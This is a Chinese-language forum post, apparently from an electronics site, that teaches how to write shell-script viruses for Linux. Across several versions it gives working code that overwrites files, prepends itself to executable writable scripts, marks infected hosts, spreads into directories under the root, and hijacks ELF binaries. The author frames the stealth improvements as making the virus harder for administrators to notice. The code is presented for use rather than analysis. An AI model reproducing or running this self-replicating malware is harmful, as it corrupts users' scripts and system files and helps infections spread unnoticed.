首页 | 新闻 | 新品 | 文库 | 方案 | 视频 | 下载 | 商城 | 开发板 | 数据中心 | 座谈新版 | 培训 | 工具 | 博客 | 论坛 | 百科 | GEC | 活动 | 主题月 | 电子展
返回列表 回复 发帖

如何用Shell病毒技术感染Linux脚本程序

如何用Shell病毒技术感染Linux脚本程序

主要的shell病毒技术
-------------------
  当然,本文需要你至少了解linux shell编程的基础知识和一星点的病毒知识.
  ok!我们进入正题!
  我们来看一个最原始的shell病毒,代码最能说明问题:
---------------------------------------------------------
#shellvirus I
for file in *
do
 cp $0 $file
done
---------------------------------------------------------
简单吧?遍历当前文件系统的所有文件,然后覆盖所有文件.但是,我们知道linux是多用户的操作系统,它的文件是具有
保护模式的,所以以上的脚本有可能会报出一大堆的错误,所以它很快就会被管理员发现并制止它的传染.所以我们可以
为该脚本做个判断,这样隐蔽性就大大增强了:
---------------------------------------------------------
#shellvirus II
for file in *
do
  if test -f $file
  then
  if test -x $file
  then
   if test -w $file
   then
   if grep -s echo $file >.mmm
   then
   cp $0 $file
fi; fi; fi; fi; fi
done
rm .mmm -f
---------------------------------------------------------
ok.我们改进了一下,加了若干的判断,判断文件是否存在,是否文件可执行,是否我们有权限写,再判断它是否是脚本程序
如果是就cp $0 $file,所以这段代码是感然该系统所有的脚本程序的,危害性还是比较大的.if grep -s echo $file>/.mmm
这句也可以这样写:if file $file | grep -s 'Bourne shell script' > /dev/nul ; then,也就是判断file是否为shell
脚本程序.
  但是,脚本病毒一旦在感染完毕之后就什么也不做了,它没有象二进制病毒那样的潜伏的危害性,而且以上的脚本只是简
单的覆盖宿主而已,所以我这里利用了一下传统的二进制病毒的感染机制,效果也不错,看看下面代码:
---------------------------------------------------------
#infection
head -n 24 $0 > .test    <-取自身保存到.test
for file in *      <-遍历文件系统
do
 if test -f $file    <-判断是否为文件
 then
   if test -x $file    <-判断文件是否可执行
   then
      if test -w $file  <-判断文件是否可写
      then
       if grep -s echo $file >.mmm  <-判断是否为脚本程序
       then
        head -n 1 $file >.mm    <-提取要感染的脚本程序的第一行
        if grep -s infection .mm >.mmm  <-判断该文件是否已经被感染
        then
        rm -f .mm      <-已经被感染,则跳过
        else        <-还未被感染
        cat $file > .SAVEE    <-很熟悉吧?借用了传统的二进制文件的感染机制
        cat .test > $file
        cat .SAVEE >> $file
 fi; fi; fi; fi; fi
done
rm .test .SAVEE .mmm .mm -f
--------------------------------------------------------
程序的注解足以说明了,其实增加了潜伏的危害性,但还是特容易被发现,没办法的事情,shell脚本一般都是明文的,呵呵.不过
危害性已经相当大了.这段程序用了一个感染标志:infection来判断是否已经被感染,着在程序中可以反应出来.
ok,为了使上面的代码不容易被发现,我必须优化它,最先考虑的肯定是精练代码:
--------------------------------------------------------
#infection
for file in * ; do
 if test -f $file && test -x $file && test -w $file ; then
  if grep -s echo $file > /dev/nul ; then
  head -n 1 $file >.mm
   if grep -s infection .mm > /dev/nul ; then
   rm .mm -f ; else
    cat $file > .SAVEE
    head -n 13 $0 > $file
    cat .SAVEE >> $file
fi; fi; fi
done
rm .SAVEE .mm -f
--------------------------------------------------------
现在只有两个临时文件的产生了,代码也被精简到了13行.当然可以完全用;来把代码甚至写到1-2行,但这里我只是说明问题,就
不写出来了.
好,我们看看,shell病毒还能做哪些有用的事情,有可能我们想感染别的目录的文件,比如根目录或者是/etc,/bin等等,因为大多
数有用的系统配置脚本都存放在那些目录下,只要对上述代码稍作改动就可以实现了
--------------------------------------------------------
#infection
xtemp=$pwd        <-保存当前路径
head -n 22 $0 > /.test
for dir in /* ; do      <-遍历/目录
if test -d $dir ; then    <-如果是目录就cd该目录
 cd $dir
 for file in * ; do      <-遍历该目录文件
  if test -f $file && test -x $file && test -w $file ; then  <-确定文件是否可执行,可写
  if grep -s echo $file > /dev/nul ; then      <-确定是否为脚本程序
   head -n 1 $file > .mm
   if grep -s infection .mm > /dev/nul ; then    <-确定是否已经被感染
    rm .mm -f ; else
    cat $file > /.SAVEE        <-和前面的感染机制一样感染未被感染的脚本程序
    cat /.test > $file
    cat /.SAVEE >> $file
  fi; fi; fi
 done
 cd ..
fi
done
cd $xtemp    <-返回原目录
rm /.test /.SAVEE .mm -f
-------------------------------------------------------------
其实这段代码只感染了/目录下的一层目录.当然我们可以使它感染的更深,只是加几个循环而已.同样shell病毒可以做很多事情
如download后门程序,为机器自动开后门,主动去攻击联网的其他机器,取用户的email来发送传染等等.总之它的实现技术不高深,
但也比较实用,还是值得去说明一下的,呵呵.
同样,我们也可以感染elf文件,但危害性很小,这里不重点讲,给个例程大家理解一下吧
-------------------------------------------------------------
for file in * ; do
 if test -f $file && test -x $file && test -w $file ; then
  if file $file | grep -s 'ELF' > /dev/nul ; then
  mv $file .$file
  head -n 9 $0 > $file
fi; fi
done
.$0
继承事业,薪火相传
返回列表